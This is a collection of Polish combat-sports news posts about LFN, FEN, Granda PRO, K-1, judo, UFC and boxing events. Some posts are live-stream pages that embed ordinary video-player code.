Gala Ladies Fight Night „Five Points” już za niespełna miesiąc! Wejściówki do zgarnięcia podczas Forum MMA.

Już po raz piąty włodarze jedynej w Europie żeńskiej organizacji sportów walki zapraszają na galę Ladies Fight Night. Tym razem – do Poznania! Już 8 kwietnia, w sobotę, utalentowane zawodniczki z Polski i zagranicy skrzyżują rękawice podczas największych targów motoryzacyjnych w Polsce, na gali LFN „Five Points”. Zapowiada się mocne show, do którego dziewczyny z LFN Team przygotowywały się w legendarnym holenderskim klubie Mike’s Gym! Udział w gali, podobnie jak w poprzednich jej edycjach, jest bezpłatny, a wejściówki będzie można zdobyć m.in. podczas marcowego Forum MMA.

LFN Five Points

Po Łodzi, Warszawie i Karpaczu przyszedł czas na stolicę wielkopolski. Piąta gala żeńskiej organizacji sportów walki odbędzie się w drugą sobotę kwietnia w hali poznańskich targów MTP. LFN „Five Points” to pierwsza gala organizacji w tym roku. „Rok 2016 zamknęliśmy z dużą pompą podczas urodzinowej gali w Karpaczu. Oprócz świetnej atmosfery i pięknych okoliczności przyrody nie zabrakło przede wszystkim fantastycznego sportowego widowiska. A ponieważ lubimy podnosić sobie poprzeczkę coraz wyżej, to ten rok otwieramy galą podczas największych targów motoryzacyjnych w Polsce i czwartych w Europie. Najmocniejszym zawodniczkom z Polski i zagranicy będzie towarzyszył głośny ryk silników. Atrakcji na pewno nie zabraknie” – zdradza Łukasz Chmal, prezes organizacji Ladies Fight Night.

""

 

Karta walk

Organizatorzy zdradzili niedawno, że na karcie walk LFN „Five Points” pojawi się dobrze znana fanom sportów walki i utalentowana zawodniczka MMA Katarzyna Lubońska. „Cieszymy się, że dzięki dobrej współpracy LFN z KSW Katarzynę Lubońską będziemy w tym roku oglądać w barwach Ladies Fight Night” – komentował Łukasz Chmal, prezes Ladies Fight Night. Przeciwniczką Lubońskiej (4-2-0) będzie Vuokko Katainen (3-3-1), która po półtorarocznej przerwie powraca do klatkoringu z ogromnym głodem zwycięstwa. Finka zapowiada, że jest jeszcze mocniejsza niż przed kontuzją, a przypomnijmy, że w 2013 roku pokonała Sylwię Juśkiewicz. 

Sylwia „Mała” Juśkiewicz (5-4-0) także pojawi się znów w klatkoringu LFN. Jej przeciwniczką na poznańskiej gali będzie zawodniczka z Ukrainy – reprezentująca klub Spartakus Rzeszów Lyudmyla Pylypchuk (2-3-0).

W karcie walk Ladies Fight Night „Five Points” jest również Hanna Gujwan z LFN Team, która ma za sobą debiut na gali japońskiej organizacji RIZIN i prawdopodobnie jeszcze w tym roku ponownie zawalczy w kraju kwitnącej wiśni. Przeciwniczką Gujwan będzie zawodniczka z poznańskiego klubu Kohorta – Natalia Leciejewska, a walka odbędzie się w formule K-1. Lokalny klub Kohorta Poznań wystawi jeszcze jedną reprezentantkę, Martę Gusztab. Jej przeciwniczkę poznamy wkrótce.

Podczas poznańskiej gali z fighterkami z Francji, Czech, Finlandii i Niemiec zmierzą się także takie zawodniczki LFN Team, jak Katarzyna Sadura, Judyta Rymarzak i Katarzyna Biegajło. Gospodarze organizacji planują aż 11 emocjonujących pojedynków pań, do których dziewczyny z LFN Team przygotowywały się pod koniec lutego w legendarnym holenderskim klubie Mike’s Gym, uważanym za jeden z najlepszych na świecie.

Wejściówki

Zawodniczki LFN Team, pierwszej i jedynej w Europie żeńskiej organizacji sportów walki, będzie można spotkać podczas zaplanowanego na 25 marca Forum MMA. Na Stadionie Narodowym w Warszawie odbędzie się konferencja prasowa organizacji, a na stoisku LFN będzie można spróbować swoich sił w pojedynku na uderzenia z najmocniejszymi dziewczynami z teamu LFN i zdobyć wejściówki na poznańską galę.

Gala Ladies Fight Night „Five Points” będzie transmitowana na Facebooku organizacji oraz na stronie internetowej. Tam również szukajcie informacji o darmowych wejściówkach na wydarzenie!

www.lfn.com.pl

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 1

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 1

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Polski K-1 Legnica 2017 Day 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski K-1, które odbywają się 11-12 marca 2017 r. w Legnicy.

11 marca 2017r. (sobota)
godz. 8.30 – 9.00 – uroczyste otwarcie
godz.9.00 – 14.00 – walki eliminacyjne
godz. 14.00 – 15.00 – przerwa
od 15.00 – ciąg dalszy walk eliminacyjnych oraz walki półfinałowe

12 marca 2017r. (niedziela)

godz. 07 00 – 8 00 waga zawodników
godz. 09.00 -17.00 walki półfinałowe oraz walki finałowe
godz. 17.00 – 18.00 przerwa
godz. 18.00 – 19.30 walki finałowe w formie Gali
godz. 19.30 walka wieczoru zawodowy tytuł mistrza Polski na Low Kick

[kod]

RING 1

Mistrzostwa Polski K-1 Legnica 2017

Mistrzostwa Polski K-1 Legnica 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MPK1Legnica20171.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MPK1Legnica20171.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MPK1Legnica20171.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MPK1Legnica20171.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Gala Granda Pro 3

Zapraszamy na transmisję telewizyjną z Gali Granda Pro 3, która odbędzie się 18 marca 2017 r. w Warszawie w Legia Fight Club. Start transmisji od godz. 19.00.

[kod]

RING 1

Gala Granda PRO 3

Gala Granda PRO 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Gala Granda Pro 3 już 18 marca w Legia Fight Club

Zawodnik Legia Fight Club Grzegorz Sanecki stoczy walkę wieczoru podczas zawodowej gali Granda PRO 3, która odbędzie się 18 marca przy Łazienkowskiej 6A w sali LFC. Rywalem Saneckiego będzie Emil Różewski. Prezentujemy kartę walk!

Legia Fight Club zaprasza na galę Granda PRO 3, która odbędzie się 18 marca 2017 r. W programie znajduje się dziesięć pojedynków – po pięć MMA i K1. W walce wieczoru zmierzą się zawodnik Legia Fight Club Grzegorz Sanecki i Emil „Róża” Różewski.

To już trzecia profesjonalna gala organizowana przez Legia Fight Club. Pomysł wywodzi się z Warszawskiej Grandy, czyli amatorskich sparingów, które każdego miesiąca odbywają się w Legia Fight Club. To autorski pomysł LFC na treningowe walki pięściarskie, stójkowe oraz w brazylijskim jiu-jitsu. Gale zawodowe cieszą się sporą popularnością. Sala treningowa na jeden wieczór zostaje zaadaptowana na potrzeby Grandy PRO. Pojawia się specjalne oświetlenie, liczna widownia, stoliki VIP, kamery telewizyjne… i sport na bardzo wysokim poziomie.

Na deser, po dziewięciu wcześniejszych pojedynkach, odbędzie się walka wieczoru – zawodnika Legia Fight Club Grzegorza Saneckiego z Emilem Różewskim. Grzegorz pokaże się już na trzeciej Grandzie PRO. Oba wcześniejsze pojedynki efektownie kończył przed czasem w parterze. „Róża” to judoka, ale już ze sporym doświadczeniem w MMA, więc zapowiada się naprawdę zacięty bój. 

Oficjalne ważenie zawodników zaplanowane jest na 17 marca na Stadionie Legii Warszawa.

Bilety wstępu zostaną udostępnione do sprzedaży w najbliższy piątek (3 marca) w recepcji Legia Fight Club (ul. Łazienkowska 6A).

KARTA WALK

MMA

-66 kg: Sylwester Miller – Paweł Wielgus

-77 kg: Wojciech Sokólski – Michał Orynek

-84 kg: Jakub Mioduszewski – Bartek Sitnik

-93 kg: Artur Zaręba – Dmitriy Slobodskoy

K1

-67 kg: Piotr Wielkopolan – Adrian Makar

-71 kg: Kamil Pawlak – Jakub Rajewski

-75 kg: Patryk Małecki – Daniel Strzemiński

-86 kg: Wiktor Waszczuk – rywal do ustalenia

-75 kg: Adam Molędys – Dawid Mirkowski 

WALKA WIECZORU – MMA -77 kg

Grzegorz Sanecki – Emil Różewski

""

Autor: Dariusz Urbanowicz Fot. Jacek Prondzynski

Wygraj bilety na FEN 16 Warsaw Reloaded!

Już 11 marca w warszawskiej hali Torwar zrobi się niezwykle gorąco, a to za sprawą gali FEN 16 Warsaw Reloaded. Mamy dla Was sześć biletów na to wydarzenie! Zapraszamy do zabawy!

Widzowie zobaczą dwanaście wyjątkowych walk, podczas których z pewnością nie zabraknie emocji.

Powrót do Warszawy

Po niespełna roku federacja Fight Exclusive Night ponownie zawita do Warszawy. Wyjątkowym wydarzeniem gali FEN 11 było pożegnanie Igora Kołacina, który potrzebował tylko 180 sekund, aby rozprawić się z Krzysztofem Pietraszkiem. Z kolei w walce o pas wagi lekkiej Roman Szymański pokonał Mariana Ziółkowskiego.

11 marca Torwar wypełni się miłośnikami MMA i K-1. Ponownie w ringu zaprezentują się Arkadiusz Wrzosek, Marcin Szreder i Bartłomiej Kopera. Podczas poprzedniego występu w Warszawie 24-latek występujący w K-1 poniósł porażkę, jednak na FEN 13 wygrał z Kryspinem Kalskim. Teraz Wrzosek zmierzy się z Arturem Bizewskim, który ostatnio pokonał Marcina Szredera. Z kolei rywalizujący w MMA Kopera (68kg) jest na fali. Wygrał sześć kolejnych walk, a w Warszawie po raz trzeci wejdzie do klatkoringu FEN. Jego rywalem będzie mistrz francuskiej federacji FMC Daguir Imavov. Z kolei 40-letni Szreder stoczy szóstą walkę w K-1. Zawodnik warszawskiej Palestry zmierzy się z Iharem Kamkou.

Ciekawie zapowiada się starcie w MMA w limicie 77kg pomiędzy Ireneuszem Szydłowskim i Pawłem Pawlakiem. 43-latek mocnym akcentem wszedł do rywalizacji w FEN. Podczas sierpniowej gali w Gdyni efektownie uporał się z Bartoszem Chryką, którego pokonał w drugiej rundzie. Udanego debiutu nie ma za sobą Pawlak. Na FEN 12 przegrał z Igorem Fernandesem. Atutem Pawlaka jest doświadczenie zdobyte podczas występów w UFC.

Mocnym akcentem będzie debiut Radosława Paczuskiego, który dotychczas występował na galach DSF. 24-latek jest jedną z największych gwiazd polskiego kickboxingu. W ubiegłym roku zdobył pas mistrza świata K-1 Global. Paczuski stanie przed trudnym wyzwaniem, ponieważ Brice Kombou to niezwykle mocny zawodnik. Reprezentant Niemiec wygrał 17 z 19 zawodowych walk, z których aż 12 przed czasem. W walce wieczoru Kamil Łebkowski zmierzy się z Gabrielem Silvą.

Gala FEN 16 w sobotę, ale wcześniej odbędzie media trening i ceremonia ważenia. Odpowiednio 9 marca o 16.00 i dzień później o 17.00. Transmisję z obu wydarzeń będzie można śledzić na antenie FighTime!

Bilety czekają

Zapowiada się niezwykle smakowity kąsek dla miłośników sztuk walki. Chcesz z bliska śledzić zmagania fighterów? Nic prostszego! Wystarczy wziąć udział w naszym konkursie i liczyć na uśmiech losu. Do rozdania mamy sześć wejściówek na galę FEN 16  Warsaw Reloaded. Wystarczy, że 8 marca o godz. 13.00 wyślesz maila na adres k.malkinski@marklaw.pl. W tytule wiadomości należy wpisać FEN 16, a w treści podać imię, nazwisko i numer telefonu. Decyduje kolejność zgłoszeń.

KM

LIVE: Gala Ladies Fight Night 5 – konferencja i ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia i konferencji prasowej, które odbędą się w dniu 7 kwietnia w Poznaniu przed Galą Ladies Fight Night 3.

[kod]

Gala LFN 5 – Five Points

Gala LFN 5 – Five Points

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Fight Expert Magazine w salonach Empik oraz w punktach Ruch, Relay i Inmedio od 31 marca!

„FightExpert Magazine” w kwietniu wraca na polski rynek prasowy. Wznowione wydanie naszego dwumiesięcznika będzie dostępne w salonach Empik oraz w punktach Ruch, Relay i Inmedio od 31 marca!

Gwiazdami okładki zbliżającego się wydania zostali zawodnicy historycznej gali KSW Colosseum, a w środku znajdziecie typy i analizy walk zbliżającej się gali na PGE Narodowym, wywiad z Arianą Lipski oraz tekst o historii rozwoju krajowego potentata.

W najnowszego wydaniu magazynu znajdziecie również sporo ciekawych wywiadów, między innymi z Damianem Stasiakiem walczącym dla UFC, Łukaszem Pławeckim walczącym dla Glory oraz Paulem Daley’em występującym obecnie w Bellatorze. Do tego będziecie mogli zapoznać się ze spojrzeniem Andrzeja Kościelskiego na pracę trenera, a także przeczytać podsumowanie obecności polskich zawodników w UFC.

W magazynie nie zabraknie także innych interesujących treści. Będziecie mogli poszerzyć wiedzę z zakresu uszkodzeń więzadła krzyżowego oraz poznać znaczenie wody dla ludzkiego organizmu. Całość dopełnią techniki BJJ od Adama Wardzińskiego i ćwiczenia stójkowe prezentowane przez Karolinę Kowalkiewicz i Łukasza Zaborowskiego.
Na nasze łamy powrócą również zdjęcia przepięknych, polskich Ring Girls, a dla wszystkich czytelników przewidzieliśmy również konkurs z nagrodami.

Zapraszamy również do odwiedzenia naszego stoiska na Forum MMA 25 marca na stadionie PGE Narodowym.

Polacy najlepsi w Katowicach

Pucharowe zmagania w Katowicach biało-czerwoni zakończyli z czterema medalami, co dało im triumf w klasyfikacji generalnej. Transmisję z zawodów przeprowadziła telewizja FighTime. Z kolei nasze judoczki rywalizowały w Pradze, gdzie zdobyły trzy medale.

Dla Polski turniej w Katowicach był wyjątkowy, ponieważ stanowił swego rodzaju test przed kwietniowymi mistrzostwami Europy w Warszawie. Mogliśmy sprawdzić, czy organizacyjnie i sportowo jesteśmy gotowi do czempionatu Starego Kontynentu.

Idziemy w dobrą stronę

Na listach startowych pojawiło się 53 Polaków. Faworytem do medalu był Piotr Kuczera (90kg), który kilka tygodniu temu triumfował w Rzymie. W Katowicach nie pozostawił rywalom złudzeń i wygrał pięć walk. W półfinale pokonał przez ippon Tomasza Szczepanika, a w finale wypunktował Petera Zilka. Na najwyższym stopniu podium stanął również Maciej Sarnacki (+100kg), którego na tatami nie widzieliśmy od igrzysk w Rio de Janeiro. Polak był głodny rywalizacji i niezwykle zdeterminowany. Wszystkie cztery walki wygrał przed czasem. Brązowe medale wywalczyli Patryk Wawrzyczek i Aleksander Beta (obaj 66kg). Szczepanik ostatecznie był piąty, z kolei Jakub Wójcik (100kg) zajął siódme miejsce.

Cztery medale pozwoliły Polakom zwyciężyć w klasyfikacji generalnej. – Jesteśmy bardzo zadowoleni z poziomu sportowego zaprezentowanego przez naszych judoków. Cieszy postawa Patryka Wawrzyczka, która jest dobrym prognostykiem na przyszłość. Dotychczas zdobywał medale na poziomie juniorskim. Pozytywnym zaskoczeniem jest dobry występ Aleksandra Bety. Mocnym punktem nadal jest Kuczera, który ponownie pokazał siłę. Udany powrót zaliczył Maciej Sarnacki – ocenia Jacek Zawadka, prezes Polskiego Związku Judo. – W zawodach wystartowało prawie 300 zawodników. Trenerzy eksperymentują i wystawiają różnych judoków. W Katowicach widzieliśmy, że młodzi judocy potrafią ambitnie i skutecznie walczyć. Przykładem 19-letni Aaron Fara (100kg), który triumfował w swojej kategorii. W finale uporał się z zajmującym miejsce w trzeciej dziesiątce Maximem Rakovem. Poziom sportowy turnieju był wysoki – dodaje. 

Zmagania w Katowicach były swego rodzaju testem przed mistrzostwami Europy w Warszawie. – Taka była idea. Turniej w Katowicach stanowił przetarcie przed mistrzostwami Europy. Zdarzały się sytuacje, które wymagały drobnych interwencji, ale były one niewidoczne dla oka. Nasze zaangażowanie dało efekt. Słyszeliśmy pozytywne oceny ze strony trenerów i Europejskiej Federacji Judo – podaje Zawadka.

Trzy w Pradze

Na zawody do Pragi pojechało 19 polskich judoczek, z których osiem zajęło miejsca punktowane. Biało-czerwone wywalczyły trzy krążki, co dało im trzecie miejsce w klasyfikacji medalowej.

Anna Borowska (57kg) wygrała pięć walk i stanęła na najwyższym stopniu podium. W finale pokonała Margriet Bergstrę, która po drodze wyeliminowała Beatą Pepera. Trzy wygrane walki wystarczyły Beacie Pacut (78kg) do zajęcia drugiego miejsca. W finale przegrała z Brazylijką Samantą Soares. Na drodze Agaty Ozdoby (63kg) w półfinale stanęła Clementine Louchez, która wygrała przez ippon. W walce o brąz Polka wygrała z reprezentantką Izraela Rotem Shor. 

KM

FEN 16 Warsaw Reloaded: final trailer

Już w sobotę, równo rok od znakomitej gali FEN 15 Warsaw Time, wojownicy organizacji Fight Exclusive Night​ powrócą na warszawski Torwar! Zobaczcie najnowszy trailer gali FEN 16 Warsaw Reloaded!

Bilety na galę na Eventim.pl (http://goo.gl/bM47vm), KupBilet.pl (http://goo.gl/Wdw5Pz) i Ticketik.pl (http://goo.gl/lyrfuz). Bilety VIP i grupowe – tel. 601 877 229.

[kod]

FEN 16 Warsaw Reloaded: media trening i ceremonia ważenia

Końcowe odliczanie przed galą FEN 16 Warsaw Reloaded trwa, ale zanim rozpocznie się sobotnie widowisko na Torwarze, kibiców MMA i K-1 zapraszamy na czwartkowy media trening oraz piątkową ceremonię ważenia zawodników. Transmisję na żywo z obu eventów, którą przeprowadzi telewizja Fightime.pl, będzie można śledzić na fanpage'u Fight Exclusive Night.

Oficjalny media trening – Uniq Fight Club, ul. VI Poprzeczna 23, 9 marca, godz. 16.00

W czwartkowym media treningu weźmie udział dziesiątka uczestników gali FEN 16 Warsaw Reloaded, wśród nich obaj bohaterowie walki wieczoru – Kamil "Bomba" Łebkowski oraz Brazylijczyk Gabriel "Gabito" Silva. Zawodników walczących w formule MMA reprezentować będą także Bartłomiej Kopera i jego rywal, Francuz Daguir Imavov, oraz Arbi Shamaev i jego przeciwnik Shely Santana z Brazylii. Natomiast spośród fighterów K-1, którzy wystąpią w sobotę na Torwarze, swoją formę i umiejętności zaprezentują Radosław Paczuski, Arkadiusz Wrzosek, Marcin Szreder oraz Piotr Bąkowski.

Oficjalna ceremonia ważenia – Torwar, ul. Łazienkowska 6A, 10 marca, godz. 17.00

Po raz kolejny uczestnicy gali Fight Exclusive Night będą mogli wejść na wagę już rano w hotelu – dzięki temu zawodnicy będą mieć więcej czasu na regenerację i odpowiednie przygotowanie się do czekającej ich w sobotę walki. Jeśli podczas porannego ważenia fighterzy nie zmieszczą się w limitach wagowych dla swoich kategorii, otrzymają szansę zważenia się ponownie podczas popołudniowej, otwartej dla mediów i publiczności oficjalnej ceremonii ważenia na Torwarze.

Wstęp na oba wydarzenia jest wolny, zarówno dla kibiców, jak i dziennikarzy. Wszystkich, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do oglądania transmisji na żywo – relację online przeprowadzi telewizja Fightime.pl i będzie je można śledzić na fanpage’u FEN i stronie Fightime.pl.

Bilety na sobotnią  galę FEN 16 Warsaw Reloaded można kupować w serwisach Eventim.pl, KupBilet.pl oraz Ticketik.pl. W dniu gali dostępne będą także w kasach hali Torwar. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 16 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Tybura ponownie wygrywa przed czasem

Drugie zwycięstwo Marcina Tybury w UFC. Na gali w Las Vegas Polak pokonał przed czasem Luisa Henrique.

Pierwotnie 31-latek miał rywalizować z Brazylijczykiem 11 lutego w Centrum Barclays na Brooklynie. Do pojedynku nie doszło z powodów kłopotów zdrowotnych Luisa Henrique. Komisja Sportowa zdecydowała, że z powodu infekcji, która może zaszkodzić zawodnikowi z Kraju Kawy nie może on wystąpić na UFC 208. W jego miejsce wskoczył Justin Willis, ale i z nim Tyburze nie było dane się zmierzyć. Tym razem Komisja Sportowa uznała, że rywal jest… zbyt osłabiony zbijaniem wagi. „Co się odwlecze, to nie uciecze”. Na gali UFC 209 Polak zmierzył się z Luisem Henrique.

Aktywny Brazylijczyk nie dał rady

Luis Henrique chciał wykorzystać swoją najmocniejszą stronę, czyli zapasy. Od początku Brazylijczyk szukał obalenia i przenosił rywalizację do parteru, jednak Tybura potrafił szybko wstać na nogi. 31-latek dobrze prezentował się w stójce. Były zawodnik M-1 Challenge skutecznie opierał się rywalowi, który cały czas szukał obaleń. 

Dwie intensywne rundy sprawiły, że na twarzach Henrique i Tybury widać było oznaki zmęczenia. Jednak nie wpłynęło to na tempo trzeciej odsłony. Mocnym akcentem rozpoczął ją Tybura. Front kick i seria ciosów sprawiła, że Brazylijczyk poczuł siłę naszego zawodnika. Mimo to nadal szukał zejścia to parteru. W końcu mu się udało i zaskoczył Tyburę gilotyną, był o krok od poddania Polaka, jednak ten uwolnił się z trudnej sytuacji. Po chwili zdobył dosiad i zasypał Brazylijczyka uderzeniami, co sprawiło, że sędzia zdecydował się przerwać walkę.

Marcin Tybura debiutował w UFC blisko rok temu. W pierwszej walce przegrał z Timothy'm Johnsonem, następnie pokonał przed czasem Viktora Pestą. 31-letni Polak zanotował drugie zwycięstwo w UFC, a łącznie ma ich na koncie 15.

Kontrowersje wokół walki o pas

W Las Vegas doszło do starcia o pojedynek o mistrzostwo w wadze półśredniej. Tyron Woodley odpierał ataki Stephena Thompsona. Ostateczny werdykt wzbudził sporo kontrowersji. W ciągu pięciu rund Thompson pokazał się z dobrej strony i prowadził walkę. Mistrz był ostrożny, czekał na rywala. Dopiero w końcówce walki poważnie naruszył przeciwnika. Większościową decyzją sędziów wygrał Tyron Woodley.

Na gali UFC 209  czwarte zwycięstwo w karierze odniosła Cynthia Calvillo. 29-letnia Amerykanka pokonała w pierwszej rundzie przez duszenie zza pleców Amandę Cooper. Doświadczony Alistair Overeem ponownie triumfuje. 36-letni Holender w trzeciej odsłonie rozprawił się z Markiem Huntem. To 42. wygrana w karierze Overeema.

KM

Dramatyczna walka, triumf Polaka

Nie tylko Mateusz Masternak udanie wrócił na ring. W Barclays Center w Nowym Jorku Andrzej Fonfara pokonał Chada Dawsona.

„Polski Książę” w udanym stylu wrócił na ring, choć w Nowym Jorku stanął przed niezwykle trudnym zadaniem. 29-latkowi przyszło rywalizować z Chadem Dawsonem, który swego czasu zdobywał pasy WBC, IBF i IBO w wadze półciężkiej.

Wyszedł na prostą

Andrzej Fonfara konsekwentnie kroczył w stronę walki o mistrzowski pas. Niejednokrotnie podkreślał, że ponownie chciałby spotkać się z Adonisem Stevensonem, z którym w maju 2014 roku przegrał bój o pas WBC. „Polski Książę” zanotował trzy zwycięstwa, w tym pokonał groźnych Julio Cesara Chaveza Jr i Nathanem Cleverly'ego. Niespodziewanie potknął się w starciu z niżej notowanym Joe Smithem Jr. Polak dobrze rozpoczął walkę, kilka razy trafił Amerykanina, jednak ten posłał w stronę naszego zawodnika prawy sierpowy. Fonfara znalazł się na deskach, wstał, ale Smith Jr „poczuł krew” i postawił kropkę nad „i”. To była sensacja. Nikt nie spodziewał się takiego scenariusza.

Plan Fonfary legł w gruzach, a w stosunku do polskiego pięściarza pojawiły się głosy zwątpienia, co do jego możliwości. Po sierpniowej porażce 29-latek ciężko trenował, aby wrócić i pokazać, że za wcześnie go skreślono. W Nowym Jorku Polak stanął oko w oko z mocnym Chadem Dawsonem. Amerykanin miał na koncie wygraną z Tomaszem Adamkiem, jednak było to dziesięć lat temu. W sierpniu 2013 roku Dawson stracił pas WBC na rzecz Adonisa Stevensona. Od tamtego czasu stoczył cztery walki, z których trzy wygrał. Najlepsze lata bokserskiej kariery są raczej za 34-latkiem, jednak nadal pozostaje on mocnym nazwiskiem na bokserskim rynku. Dla Andrzeja Fonfary walka z były mistrzem WBC stanowiła ogromne wyzwanie. 

Doświadczenie Dawsona pozwoliło mu kontrolować pojedynek. Wraz z upływem czasu zdobywał przewagę i prowadził na kartach sędziów. Trafiał Polaka, konsekwentnie realizował swoją taktykę. Można powiedzieć, że zmierzał w stronę zwycięstwa. Jednak Fonfara wiedział, o co toczy się gra. Cały czas szukał kontaktu z rywalem i starał się wykorzystać swoje atuty. Pierwszy poważny sygnał w stronę Dawsona wysłał w dziewiątej rundzie. Potężny cios i Amerykanin znalazł się na deskach. Dawson stał, ale najgorsze dla niego dopiero miało nadejść. Akcja lewy-prawy sprawiła, że były mistrz WBC oparł się o liny, Fonfara wystrzelił serią ciosów i sędzia przerwał walkę.

Radość

Tym samym Andrzej Fonfara realizował swój cel. 29-letni pięściarz urodzony w Radomiu odniósł 29 zwycięstwo na zawodowym ringu, w tym 17 przed czasem. Znakomita końcówka dała mu upragniony triumf. Na kartach punktowych Polak przegrywał.

KM

Wygrany debiut mistrza olimpijskiego w MMA

Na gali PLMMA 72 w Łomiankach debiut w oktagonie zaliczył Szymon Kołecki (93kg). 35-latek mocnym akcentem zaczął przygodę z mieszanymi sztukami walki.

Szymon Kołecki miał okazję zasmakować rywalizacji w MMA. Przyszło mu rywalizować z Dariuszem Kaźmierczukiem, który na swoim koncie miał pięć walk, jednak żadnej nie wygrał.

Zwycięski debiut

Jeszcze kilka lat temu obserwowaliśmy Szymona Kołeckiego na pomoście. Podnosił ciężary i walczył o medale olimpijskie. Na swoim koncie zapisał srebro igrzysk w Sydney. Od niedawna może poszczycić się tytułem mistrza olimpijskiego. Po dyskwalifikacji Ilji Iljina do Polaka trafiło złoto z Pekinu. Kołecki może poszczycić się również medalami mistrzostw świata i aż pięcioma tytułami mistrza Europy. Karierę zawodniczą zakończył jesienią 2012 roku. Następnie został prezesem Polskiego Związku Podnoszenia Ciężarów, w sierpniu ubiegłego roku w związku z aferami dopingowymi naszych zawodników podał się do dymisji.

Kołecki przygotowywał się do debiutu pod okiem trenerów klubu Nastula/Okniński Team. Mistrz olimpijski z Pekinu szybko ruszył do ataku. 35-latek przeniósł walkę do parteru, przygotował sobie pozycję do ataku i zasypał Kaźmierczuka serią ciosów. Do akcji wkroczył sędzia, który przerwał pojedynek. Starcie trwało nieco ponad pół minuty.

Po debiucie Kołecki zdradził, że kolejną walkę stoczy prawdopodobnie 20 maja.

Naruszczka zdyskwalifikowany

Znany z występów na galach KSW Marcin Naruszczka bronił w Łomiankach pasa mistrzowskiego PLMMA w wadze średniej. Jego rywalem był Costello van Stennis. Holender postawił trudne warunki doświadczonemu Polakowi. W pierwszej rundzie 24-latek zaskoczył Naruszczkę, który musiał mieć się na baczności wobec aktywnego rywala. Van Steenis wyprowadził kilka groźnych ciosów. Po jednym z prawych podbródkowych walka przeniosła się do parteru. Holender rozkręcał się i czuł się bardzo pewnie w oktagonie. W drugiej odsłonie van Steenis trafił prawym prostym i ponownie walka przeniosła się do parteru, gdzie Naruszczka próbował założyć rywalowi balachę. Nie brakowało kontrowersji. Walka została zastopowano na chwilę, gdy Polak trafił kolanem w twarz rywala. Sędzia się zastanawiał, ale dał 33-latkowi szansę. Chwilę później pojedynek przerwano. W parterze Polak kopnął Holendra w twarz, przez co został zdyskwalifikowany.

Drugą wygraną w PLMMA zanotował Paweł Trybała. Popularny „Trybson” w niecałe pół minuty rozbił Pawła Bolanowskiego. W ruch poszło kolano, a następnie posypały się mocne ciosy. Bolanowski nie był w żaden sposób się obronić.

KM

Zwycięski powrót Masternaka

Mateusz Masternak pokonał Alexandra Kubicha na gali w Dzierzoniowie. Dla Polaka była to pierwsza walka od blisko roku.

Cel był jeden: wygrać. Niewygodny rywal wcale nie zamierzał ułatwiać zadania Masternakowi.

Trafić nie było łatwo

Wszyscy czekali na Mateusza Masternaka, który wracał do rywalizacji po blisko rocznej przerwie. W swoim ostatnim występie pokonał Erica Fieldsa, jednak wcześniej przegrał starcie o mistrzostwo Europy w Tonym Bellewem. Masternak to pięściarz, który swego czasu uznawany był za wielką nadzieję wagi junior ciężkiej. 29-latek nie powiedział ostatniego słowa. Walka z Alexandrem Kubichem, który w maju przegrał z Michałem Cieślakiem miała pokazać, na ile w obecnej chwili stać Masternaka.

